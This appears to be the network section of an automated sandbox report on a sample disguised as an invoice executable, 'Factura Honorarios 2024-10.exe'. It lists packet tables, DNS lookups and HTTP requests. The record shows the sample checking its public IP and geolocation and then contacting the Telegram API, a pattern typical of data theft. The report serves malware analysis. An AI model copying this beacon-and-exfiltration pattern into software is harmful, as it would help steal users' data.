Oct 30, 2024 14:19:27.750174999 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:27.751481056 CET	49859	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:27.756249905 CET	80	49835	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:27.756356001 CET	49835	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:27.757023096 CET	80	49859	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:27.757119894 CET	49859	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:27.757200956 CET	49859	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:27.762715101 CET	80	49859	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:28.672923088 CET	80	49859	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:28.675546885 CET	49865	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:28.675597906 CET	443	49865	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:28.675700903 CET	49865	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:28.675956011 CET	49865	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:28.675967932 CET	443	49865	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:28.729743004 CET	49859	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:29.285871983 CET	443	49865	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:29.294935942 CET	49865	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:29.294972897 CET	443	49865	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:29.435137033 CET	443	49865	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:29.435214043 CET	443	49865	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:29.435271978 CET	49865	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:29.435949087 CET	49865	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:29.443192959 CET	49871	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:29.449453115 CET	80	49871	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:29.449533939 CET	49871	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:29.449662924 CET	49871	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:29.454992056 CET	80	49871	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:30.542668104 CET	80	49871	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:30.547065020 CET	49877	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:30.547110081 CET	443	49877	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:30.547288895 CET	49877	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:30.547594070 CET	49877	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:30.547607899 CET	443	49877	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:30.588992119 CET	49871	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:31.166023016 CET	443	49877	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:31.176070929 CET	49877	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:31.176088095 CET	443	49877	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:31.328197002 CET	443	49877	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:31.328274965 CET	443	49877	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:31.328479052 CET	49877	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:31.328752995 CET	49877	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:31.332565069 CET	49871	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:31.333494902 CET	49883	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:31.339111090 CET	80	49883	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:31.339284897 CET	49883	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:31.339478016 CET	49883	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:31.339653015 CET	80	49871	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:31.340575933 CET	49871	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:31.344902039 CET	80	49883	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:32.959897995 CET	80	49883	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:32.960994005 CET	80	49883	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:32.961056948 CET	49883	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:32.961451054 CET	49889	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:32.961483002 CET	443	49889	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:32.961580038 CET	49889	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:32.961633921 CET	80	49883	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:32.961683035 CET	49883	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:32.961884975 CET	49889	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:32.961894989 CET	443	49889	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:33.782250881 CET	443	49889	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:33.784137964 CET	49889	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:33.784174919 CET	443	49889	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:33.929702044 CET	443	49889	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:33.929766893 CET	443	49889	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:33.929857969 CET	49889	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:33.930381060 CET	49889	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:33.937614918 CET	49883	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:33.938225031 CET	49895	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:33.943660975 CET	80	49895	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:33.943766117 CET	49895	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:33.943876028 CET	49895	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:33.943938971 CET	80	49883	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:33.943994999 CET	49883	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:33.949156046 CET	80	49895	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:34.957000971 CET	80	49895	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:34.958483934 CET	49901	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:34.958518028 CET	443	49901	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:34.958614111 CET	49901	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:34.958870888 CET	49901	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:34.958884954 CET	443	49901	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:35.003292084 CET	49895	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:35.607603073 CET	443	49901	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:35.609397888 CET	49901	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:35.609431028 CET	443	49901	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:35.759454012 CET	443	49901	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:35.759526014 CET	443	49901	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:35.759861946 CET	49901	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:35.760102034 CET	49901	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:35.763689995 CET	49895	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:35.764812946 CET	49907	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:35.769433975 CET	80	49895	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:35.770164967 CET	80	49907	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:35.770317078 CET	49907	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:35.770361900 CET	49895	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:35.770494938 CET	49907	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:35.775805950 CET	80	49907	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:36.696620941 CET	80	49907	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:36.698180914 CET	49913	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:36.698241949 CET	443	49913	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:36.698342085 CET	49913	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:36.698772907 CET	49913	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:36.698786020 CET	443	49913	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:36.745306969 CET	49907	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:37.319572926 CET	443	49913	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:37.321791887 CET	49913	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:37.321821928 CET	443	49913	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:37.479758978 CET	443	49913	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:37.479825974 CET	443	49913	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:37.479899883 CET	49913	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:37.480386019 CET	49913	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:37.484121084 CET	49907	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:37.485388994 CET	49919	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:37.490068913 CET	80	49907	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:37.490142107 CET	49907	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:37.490766048 CET	80	49919	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:37.490835905 CET	49919	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:37.490928888 CET	49919	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:37.496644974 CET	80	49919	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:38.410290003 CET	80	49919	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:38.411717892 CET	49925	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:38.411742926 CET	443	49925	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:38.411808968 CET	49925	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:38.412059069 CET	49925	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:38.412077904 CET	443	49925	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:38.464027882 CET	49919	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:39.017657042 CET	443	49925	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:39.019499063 CET	49925	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:39.019521952 CET	443	49925	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:39.157721996 CET	443	49925	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:39.157793999 CET	443	49925	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:39.157907963 CET	49925	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:39.159565926 CET	49925	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:39.162455082 CET	49919	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:39.163506031 CET	49931	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:39.168459892 CET	80	49919	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:39.168545008 CET	49919	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:39.169055939 CET	80	49931	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:39.169116020 CET	49931	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:39.169208050 CET	49931	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:39.174576998 CET	80	49931	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:40.088294983 CET	80	49931	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:40.090363026 CET	49937	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:40.090413094 CET	443	49937	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:40.090476036 CET	49937	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:40.090816975 CET	49937	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:40.090831995 CET	443	49937	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:40.135886908 CET	49931	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:40.730344057 CET	443	49937	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:40.732157946 CET	49937	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:40.732182980 CET	443	49937	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:40.878751993 CET	443	49937	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:40.878823042 CET	443	49937	188.114.97.3	192.168.2.4
Oct 30, 2024 14:19:40.878953934 CET	49937	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:40.879396915 CET	49937	443	192.168.2.4	188.114.97.3
Oct 30, 2024 14:19:40.916938066 CET	49931	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:40.922657013 CET	80	49931	132.226.8.169	192.168.2.4
Oct 30, 2024 14:19:40.922736883 CET	49931	80	192.168.2.4	132.226.8.169
Oct 30, 2024 14:19:40.925553083 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:40.925565004 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:40.925620079 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:40.926049948 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:40.926059961 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:41.775939941 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:41.776092052 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:41.779356956 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:41.779362917 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:41.779696941 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:41.781142950 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:41.823332071 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:42.015953064 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:42.016021013 CET	443	49943	149.154.167.220	192.168.2.4
Oct 30, 2024 14:19:42.016103029 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:42.021445990 CET	49943	443	192.168.2.4	149.154.167.220
Oct 30, 2024 14:19:47.993772030 CET	49859	80	192.168.2.4	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 14:19:18.120189905 CET	54935	53	192.168.2.4	1.1.1.1
Oct 30, 2024 14:19:18.127593994 CET	53	54935	1.1.1.1	192.168.2.4
Oct 30, 2024 14:19:19.493175030 CET	55309	53	192.168.2.4	1.1.1.1
Oct 30, 2024 14:19:19.500924110 CET	53	55309	1.1.1.1	192.168.2.4
Oct 30, 2024 14:19:24.112219095 CET	61348	53	192.168.2.4	1.1.1.1
Oct 30, 2024 14:19:24.121165991 CET	53	61348	1.1.1.1	192.168.2.4
Oct 30, 2024 14:19:25.859493971 CET	60111	53	192.168.2.4	1.1.1.1
Oct 30, 2024 14:19:25.871381044 CET	53	60111	1.1.1.1	192.168.2.4
Oct 30, 2024 14:19:40.917742968 CET	54957	53	192.168.2.4	1.1.1.1
Oct 30, 2024 14:19:40.924933910 CET	53	54957	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 14:19:18.120189905 CET	192.168.2.4	1.1.1.1	0x5a9d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:19.493175030 CET	192.168.2.4	1.1.1.1	0xa25a	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:24.112219095 CET	192.168.2.4	1.1.1.1	0x19a7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:25.859493971 CET	192.168.2.4	1.1.1.1	0xacd7	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:40.917742968 CET	192.168.2.4	1.1.1.1	0xb83f	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 14:19:18.127593994 CET	1.1.1.1	192.168.2.4	0x5a9d	No error (0)	drive.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:19.500924110 CET	1.1.1.1	192.168.2.4	0xa25a	No error (0)	drive.usercontent.google.com		142.250.185.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:24.121165991 CET	1.1.1.1	192.168.2.4	0x19a7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 14:19:24.121165991 CET	1.1.1.1	192.168.2.4	0x19a7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:24.121165991 CET	1.1.1.1	192.168.2.4	0x19a7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:24.121165991 CET	1.1.1.1	192.168.2.4	0x19a7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:24.121165991 CET	1.1.1.1	192.168.2.4	0x19a7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:24.121165991 CET	1.1.1.1	192.168.2.4	0x19a7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:25.871381044 CET	1.1.1.1	192.168.2.4	0xacd7	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:25.871381044 CET	1.1.1.1	192.168.2.4	0xacd7	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 14:19:40.924933910 CET	1.1.1.1	192.168.2.4	0xb83f	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49835	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 14:19:24.135988951 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 14:19:25.062612057 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:24 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 14:19:25.067147017 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 30, 2024 14:19:25.363987923 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:25 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 14:19:26.670574903 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 30, 2024 14:19:26.964653969 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49859	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 14:19:27.757200956 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 30, 2024 14:19:28.672923088 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:28 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49871	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 14:19:29.449662924 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 14:19:30.542668104 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:30 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49883	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 14:19:31.339478016 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 14:19:32.959897995 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:32 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 14:19:32.960994005 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:32 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 14:19:32.961633921 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:32 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49895	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 14:19:33.943876028 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 14:19:34.957000971 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:34 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49907	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
